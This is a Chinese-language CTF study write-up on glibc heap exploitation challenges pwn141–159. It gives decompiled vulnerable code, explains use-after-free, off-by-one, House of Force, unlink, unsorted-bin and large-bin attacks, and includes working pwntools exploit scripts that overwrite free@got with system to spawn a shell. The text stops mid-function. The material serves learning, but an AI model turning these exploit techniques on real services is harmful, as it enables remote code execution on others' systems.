堆利用-前置基础pwn141-159

基础不牢,地动山摇,遂来补天😭

pwn141

Hint : Use after free !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&notelist + i) )
{
*(&notelist + i) = malloc(8u);
if ( !*(&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**(&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *(&notelist + i);
*(v0 + 4) = malloc(size);
if ( !*(*(&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(*(&notelist + i) + 4), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full!");
}
return __readgsdword(0x14u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
{
free(*(*(&notelist + v1) + 4));
free(*(&notelist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

思路:free 后未置空,uaf 改 put 指针为后门

add 两个 0x30 的 chunk,free掉(忽略掉tcache bins,懒得patch了)

image-20240710024505019

image-20240710024617929

根据FIFO,这时候申请一个0x10的chunk,就会把chunk1的指针chunk作为申请chunk的指针chunk,chunk0的指针chunk作为content chunk,在对应print指针的地方写入后门就把chunk0的print指针改掉了

1
2
3
4
5
6
7
8
9
add(32, b'aaaa')
add(32, b'bbbb')

delete(0)
delete(1)

add(0x8, p32(0x8049684))

show(0)

pwn142

Hint : 堆重叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *(&heaparray + i);
*(v0 + 8) = malloc(size);
if ( !*(*(&heaparray + i) + 8LL) )
{
puts("Allocate Error");
exit(2);
}
**(&heaparray + i) = size;
printf("Content of heap:");
read_input(*(*(&heaparray + i) + 8LL), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*(*(&heaparray + v1) + 8LL), **(&heaparray + v1) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 show_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 8LL));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(*(&heaparray + v1) + 8LL));
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

edit有off-by-one,delete没有uaf

思路:off-by-one可以伪造下一个chunk的heaparray chunk的size位,这样再申请的时候在新申请的chunk的heaparray chunk(也就是指针chunk)中记录的size就是我们伪造的size,从而造成堆溢出

然后用刚刚制造的堆溢出覆盖第二个堆的heaparray chunk的指向content chunk的指针为free_got,这样我们可以利用show来泄露libc,用edit来修改free_got为system函数,然后把chunk 0的内容改为/bin/sh再free它就可以实现system(‘/bin/sh’)

实现:

我们创建两个堆:chunk0:0x18,chunk1:0x10,利用off-by-one将第二个堆的heaparray chunk的size伪造成大于:
其大小 + 源数据区大小(0x10)+ 0x20(新申请的chunk的heaparray chunk的大小)=0x10+0x10+0x20=0x40
这时free掉chunk 1可以得到这样的bins:
0x20 [ 1]: 0x257b2c0 ◂— 0x0
0x40 [ 1]: 0x257b2a0 ◂— 0x0
从地址可以看出0x40的bins是包含了0x20的bins的,这样就构成了堆溢出(堆重叠)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# off-by-one
create(0x18, "aaaa") # 0
create(0x10, "bbbb") # 1

edit(0, b"/bin/sh\x00" + p64(0x18) + p64(0) + b"\x41")
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free'])) #1
# 泄露libc+getshell
show(1)
io.recvuntil(b"Content : ")
data = io.recvuntil(b"Done !")

free = u64(data.split(b"\n")[0].ljust(8, b"\x00"))
libc_base = free - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)

pwn143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("Full");
}
else
{
printf("Please enter the length:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("Invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*(&unk_6020A8 + 2 * i) )
{
*(&list + 4 * i) = v2;
*(&unk_6020A8 + 2 * i) = malloc(v2);
printf("Please enter the name:");
*(*(&unk_6020A8 + 2 * i) + read(0, *(&unk_6020A8 + 2 * i), v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *(&unk_6020A8 + 2 * v1) )
{
free(*(&unk_6020A8 + 2 * v1));
*(&unk_6020A8 + 2 * v1) = 0LL;
*(&list + 4 * v1) = 0;
puts("free successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *(&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(*(&unk_6020A8 + 2 * v1) + read(0, *(&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
int show()
{
int i; // [rsp+Ch] [rbp-4h]

if ( !num )
return puts("No");
for ( i = 0; i <= 99; ++i )
{
if ( *(&unk_6020A8 + 2 * i) )
printf("%d : %s", i, *(&unk_6020A8 + 2 * i));
}
return puts(&byte_401137);
}

2.23的堆,add有整形溢出,edit有堆溢出

此外还有个指针chunk在开头

image-20240710154637739

以及一个后门函数fffffffffffffffffffffffffffffffffflag()

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

两种打法:

House of Force:

本质上是修改top chunk的size来实现任意地址分配从而任意地址写,这题要写指针chunk的goodbye_message为后门然后通过选5调用后门

2.23和2.27没有检测size

1
2
3
4
remainder = chunk_at_offset (victim, nb) 
=>victim+nb = top_chunk
=>victim+request_size+0x10 = target_addr-0x10
=>request_size = target_addr-0x20-victim

victim为切割前的top chunk header地址
nb为实际要申请的内存大小
request_size为我们要填的申请的大小
top_chunk为切割后的top chunk header的地址
target_addr为篡改后topchunk header的地址,也就是我们要写入的目标地址

实际上就是计算target_addr和原来的top chunk header之间的偏移,再减去一个0x20就行,这里就是(0x2152010-0x2152060)-0x20 = -0x70

image-20240710185630249

image-20240710185738508

现在再分配就会从0x1392010处开始分配,比如我add一个0x10大小的chunk,其header就在0x1392000,data就在0x1392010处,add的时候填后门函数地址就行

1
2
3
4
5
6
7
8
9
10
11
flag = elf.sym['fffffffffffffffffffffffffffffffffflag']
add(0x30, 'aaaa')

payload = 0x30 * b'a'
payload += b'a' * 8 + p64(0xffffffffffffffff)

edit(0, 0x41, payload)

add(-0x70, b'bbbb')
add(0x10, p64(flag))
get_flag()
Unlink:

覆盖fd,bk来将chunk移到chunk指针(0x6020a8)处,覆盖指针为free@got-0x18并泄露,申请个/bin/sh的chunk

申请一个0x40,两个0x80的chunk,在0x40的chunk里伪造一个size=0x41大小的chunk,其fd和bk分别为0x6020a8-0x18和0x6020a8-0x10,再将chunk1的P位覆盖为0,prev_size覆盖为0x40,这样就会后向合并,将fakechunk和chunk1合并,然后再根据fakechunk的fd和bk来进行unlink,见下图:

image-20240710222614199

image-20240710223522902

image-20240710223630092

成功了

再edit chunk0,这时修改的就是0x602090,将chunk0对应的地方修改为free@got,show一下就能泄露libc,再edit chunk0就能修改free@got的值为system,再free chunk3即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
add(0x40, b'a' * 8)  # 0
add(0x80, b'b' * 8) # 1
add(0x80, b'c' * 8) # 2
add(0x20, b'/bin/sh\x00') # 3

ptr = 0x6020a8
fd = ptr - 0x18
bk = ptr - 0x10

fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(fd)
fake_chunk += p64(bk)
fake_chunk += b'\x00' * 0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)

edit(0, len(fake_chunk), fake_chunk)
delete(1)
payload = p64(0) + p64(0) + p64(0x40) + p64(elf.got['free'])
gdb.attach(io)
edit(0, len(fake_chunk), payload)
show()
free = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
lg("free")
libc_base = free - libc.sym["free"]
lg("libc_base")
system = libc_base + libc.sym["system"]
# libc_base = free - 0x844f0
# lg('libc_base')
# system = libc_base + 0x45390
edit(0, 0x8, p64(system))
delete(3)
sl(b'whoami')

这里远程用libcsearcher打出来了,但是本地一动调到最后的edit就报错,有没有大佬知道是什么原因,欢迎留言

image-20240710230335682

pwn144

输入114514且magic>=114514时进入后门函数TaT()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 delete_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

2.23的堆,bss的heaparray[ ]存堆地址,edit没有检查size,delete置空了

unlink肯定还是可以的:

上一题是unlink到heaparray上面一点,这题是用了两个指针,把 heaparray_3 unlink 到 heaparray_0,再edit 3改heaparray_0为magic,edit 0改magic为大于114514的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# unlink
create_heap(0x88, b'aaaa')
create_heap(0x88, b'bbbbb')
create_heap(0x88, b'ccccc')
create_heap(0x88, b'ddddd')
create_heap(0x88, b'eeeee')

# pwndbg> tele 0x6020c0
# 00:00000x6020c0 (heaparray) —▸ 0x228a010 ◂— 0xa61616161 /* 'aaaa\n' */
# 01:00080x6020c8 (heaparray+8) —▸ 0x228a0a0 ◂— 0xa6262626262 /* 'bbbbb\n' */
# 02:00100x6020d0 (heaparray+16) —▸ 0x228a130 ◂— 0xa6363636363 /* 'ccccc\n' */
# 03:00180x6020d8 (heaparray+24) —▸ 0x228a1c0 ◂— 0xa6464646464 /* 'ddddd\n' */
# 04:00200x6020e0 (heaparray+32) —▸ 0x228a250 ◂— 0xa6565656565 /* 'eeeee\n' */
heaparray_0 = 0x6020c0
heaparray_1 = 0x6020c8
heaparray_2 = 0x6020d0
heaparray_3 = 0x6020d8
heaparray_4 = 0x6020e0

fd = heaparray_3 - 0x18
bk = heaparray_3 - 0x10
magic = 0x6020a0
payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a' * 0x60 + p64(0x80) + p64(0x90)
edit_heap(3, 0x90, payload)
delete_heap(4)
# pwndbg> tele 0x6020c0
# 00:00000x6020c0 (heaparray) —▸ 0x147e010 ◂— 0xa61616161 /* 'aaaa\n' */
# 01:00080x6020c8 (heaparray+8) —▸ 0x147e0a0 ◂— 0xa6262626262 /* 'bbbbb\n' */
# 02:00100x6020d0 (heaparray+16) —▸ 0x147e130 ◂— 0xa6363636363 /* 'ccccc\n' */
# 03:00180x6020d8 (heaparray+24) —▸ 0x6020c0 (heaparray) —▸ 0x147e010 ◂— 0xa61616161 /* 'aaaa\n' */
# 04:00200x6020e0 (heaparray+32) ◂— 0x0
edit_heap(3, 8, p64(magic))
edit_heap(0, 8, p64(114515))
sl(b'114514')

根据hint这题还能打unsorted bin attack:

glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

1
2
3
4
5
/* remove from unsorted list */
victim = unsorted_chunks (av)->bk
bck = victim->bk
unsorted_chunks (av)->bk = bck
bck->fd = unsorted_chunks (av)//此时fd中存放的是main_arena的地址

unsorted_chunks (av)相当于main_arena,victim是要删除的chunk,如果我们把victim->bk改为我们要指向的地址target_addr,那么main_arena的bk就会指向target_addr,bck也就是要删除的chunk的前一个chunk的fd就会指向main_arena,main_arena指向target_addr之后再申请就能写target_addr+0x10地址的内容了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# unsorted bin attack
create_heap(0x80, b"aaaa") # 0
create_heap(0x20, b"bbbb") # 1
create_heap(0x80, b"cccc") # 2
create_heap(0x20, b"dddd") # 3

delete_heap(2)
delete_heap(0)
magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit_heap(1, 0x20 + 0x20, b"a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
gdb.attach(io)
create_heap(0x80, p64(114515))
io.recvuntil(b":")
io.sendline(b"114514")

(又不能动调)

pwn145

Hint : Why it can UAF(use after free) ?
1
2
3
4
5
6
7
8
9
10
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大,那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x6032a0
第二个 b = malloc(0x256) 在: 0x6037c0
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里
第一次申请的 0x6032a0 指向 AAAAAAAA

image-20240712130205893

1
接下来 free 掉第一个...

image-20240712130344556

1
2
3
4
接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: 0x6032a0 
# 他这里的操作是c = (char *)malloc(0x500uLL); 但是size为什么是0x521
第三次 c = malloc(0x500) 在: 0x6032a0
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中

image-20240712130606815

image-20240712130703303

1
2
第三次申请的 c 0x6032a0 指向 CCCCCCCC # fprintf(stderr, &byte_401578, c, c); => show(chunk2)
第一次申请的 a 0x6032a0 指向 CCCCCCCC # fprintf(stderr, &byte_4015A0, a, a); => show(chunk0)

好像就只是简单的过了一下uaf的过程,没啥东西

pwn146

同上,gdb打不出字懒得调了

pwn147

Hint : Fastbin_dup – Double free

简单来说就是glibc对double free做了检测:当前free的是否为fast bins中的第一个chunk

1
2
3
4
5
6
/* double free检测(检查当前chunk是否为fast bins的最后一个成员) */
if (__builtin_expect(old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

pwn148

Hint : Fastbin_dup_into_stack – Double free

1
2
3
pwndbg> bins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000

就是说修改0x603000的前八字节(fd)就能实现double free to stack (Fastbin_dup_into_stack)

1
2
3
pwndbg> bins
fastbins
0x20: 0x7fffffffdfa0 —▸ 0x603010 ◂— 0x0

pwn149

Hint : Fastbin_dup_consolidate

先申请fastbins范围的堆,free掉,再申请largebins范围内的堆,能触发malloc_consolidate()实现将fastbins变为unsorted bin,现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x603000 ◂— 0x0

# malloc(0x400) largebins 触发 malloc_consolidate()

pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
0x20: 0x603000 —▸ 0x7ffff7bc4b88 (main_arena+104) ◂— 0x603000
largebins
empty

动调的时候发现进了small bins,听anti✌️说就是会这样,取出来的时候会再通过unsortedbins取,但是看malloc_consolidate源码并没有发现有关代码,留坑

pwn150

就是简单介绍了一下unlink的过程和原理

exp中经常会有的0x18和0x10

1
2
3
ptr = 0x6020a8
fd = ptr - 0x18
bk = ptr - 0x10

是为了绕过

1
2
# malloc_consolidate()中后向合并的代码
(P->fd->bk != P || P->bk->fd != P) == False

pwn151

Hint : House_of_spirit

pwn152

Hint : Posion_null_byte

pwn153

Hint : House_of_lore

House of Lore在glibc2.31上已经失效。没有考虑tcache开启,属于较老的一种利用。主要是指在有UAF漏洞的情况下,通过修改smallbins的bk实现在任意位置申请smallbins的利用方法。

众所周知,fastbins存在时申请largebins时会进行malloc_consolidate(),将fastbins放入unsortedbins中,然后根据大小放入不同的bins

绕过smallbins的检查:

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

题目中:伪造两个在栈上的chunk

image-20240712230819971

申请并释放一个fastbins大小的chunk,并在释放后将fd指向fake_chunk_1

1
2
3
4
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7bc4bd8 (main_arena+184) ◂— 0x603000
BK: 0x603000 —▸ 0x7fffffffdfc0 —▸ 0x7fffffffdfa0 —▸ 0x7ffff7bc5620 (_IO_2_1_stdout_) —▸ 0x7ffff7bc56a3 (_IO_2_1_stdout_+131) ◂— ...

这时候申请两个跟victim chunk大小相同的chunk,第一个会返回victim chunk,并且其bk为fake_chunk_1,第二次返回的chunk就是这个bk,也就是fake_chunk_1

pwn154

Hint : Overlapping_chunks

就是个堆重叠

pwn155

Hint : Overlapping_chunks_2

高级一点的堆重叠

1
2
3
4
5
6
一开始分配 5 个 chunk
chunk p1 从 0x2022010 到 0x20223f8
chunk p2 从 0x2022400 到 0x20227e8
chunk p3 从 0x20227f0 到 0x2022bd8
chunk p4 从 0x2022be0 到 0x2022fc8
chunk p5 从 0x2022fd0 到 0x20233b8

free p4然后把p2->size改为p2和p3加一起的size,这样free p2时进行后向合并的时候就会检测p4是否inuse并合并,合并完了再申请出来就能覆写p3的内容了

pwn156

Hint : Mmap_overlapping_chunks

本地动调与期望不符,跳了

pwn157

Hint : Unsorted_bin_attack

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

就是将unsorted bins的bk改为target addr - 0x10,这样再malloc的时候就会把这个地址作为一个堆,把unsorted bin的地址给其fd和bk也就是target addr

pwn158

Hint : Large_bin_attack

跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数

分配6个堆

1
2
3
4
5
6
large chunk 1
fastbin size chunk
large chunk 2
fastbin size chunk
large chunk 3
fastbin size chunk

fastbin size chunk防止合并,将前两个large chunk free掉

现在分配一个比他俩小的,会把第一个分割掉,剩余部分放回unsortedbin,第二个整理到largebin中(当chunk被插入unsortedbin的时候,如果我们再去申请,此时从unsortedbin末尾开始遍历,倘若遍历到的不符合我们的要求大小,那么系统会做sorted——重新把这个chunk放入smallbin或者largebin:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> bins
fastbins
empty
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7bc4b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty

# malloc(0x90)

pwndbg> bins
fastbins
empty
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7bc4b78 (main_arena+88) ◂— 0x6030a0
smallbins
empty
largebins
0x400-0x430: 0x603360 —▸ 0x7ffff7bc4f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */

free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <–> 0x6030a0 ]

largebin 大小对应相同index中的堆块,其在链表中的排序方式会按照大小排序,fd_nextsize指向比他小的最大的chunk,bk_nextsize指向比他大的最小的chunk(不同索引的largebin),并且是首位循环连接。

对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsize与bk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fd与bk链接,形成了先释放的在链表后面的排序方式,且其fd_nextsize与bk_nextsize都为0。

对于不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。

image-20240713235533342

从看雪的一篇文章里找了张图,挺清楚的:https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458549353&idx=1&sn=b6b17cdbaa6923746ab4a34eef5e0f64&chksm=b0168034da9e525951cecf45677429a7d8975cd5770270c69bfc21a08a470b2d61e126f1cd6f&scene=27

假设有个漏洞,可以覆盖掉large chunk 2的 “size” 以及 “bk”、”bk_nextsize” 指针,减少large chunk 2的大小强制 malloc 把将large chunk 3插入到 largebin 列表的头部

后面这句话看不懂,留坑:

假设有个漏洞,可以覆盖掉第二个 chunk 的 “size” 以及 “bk”、”bk_nextsize” 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20

pwn159

Hint : Tcache_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int malloc666()
{
__int64 v1; // rbx
int i; // [rsp+8h] [rbp-18h]
unsigned int v3; // [rsp+Ch] [rbp-14h]

for ( i = 0; i <= 9 && *(16LL * i + qword_202050); ++i )
;
if ( i == 10 )
return puts("full!");
v1 = qword_202050;
*(v1 + 16LL * i) = malloc(0xF8uLL);
if ( !*(16LL * i + qword_202050) )
{
puts("malloc error!");
exit666();
}
printf("size \n> ");
v3 = choice();
if ( v3 > 0xF8 )
exit666();
*(16LL * i + qword_202050 + 8) = v3;
printf("content \n> ");
return read_content(*(16LL * i + qword_202050), *(16LL * i + qword_202050 + 8));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_QWORD *free_0()
{
_QWORD *result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("index \n> ");
v1 = choice();
if ( v1 > 9 || !*(16LL * v1 + qword_202050) )
exit666();
memset(*(16LL * v1 + qword_202050), 0, *(16LL * v1 + qword_202050 + 8));
free(*(16LL * v1 + qword_202050));
*(16LL * v1 + qword_202050 + 8) = 0;
result = (16LL * v1 + qword_202050);
*result = 0LL;
return result;
}
1
2
3
4
5
6
7
8
9
10
int show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("index \n> ");
v1 = choice();
if ( v1 > 9 || !*(16LL * v1 + qword_202050) )
exit666();
return puts(*(16LL * v1 + qword_202050));
}

2.27的堆,malloc中输入的size只是给heaparray记录size的地方赋值了一下,并不会影响分配的堆的大小0xf8,看一下malloc里面的read_content函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_BYTE *__fastcall read_content(_BYTE *a1, int a2)
{
_BYTE *result; // rax
signed int v3; // [rsp+1Ch] [rbp-4h]

v3 = 0;
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL);
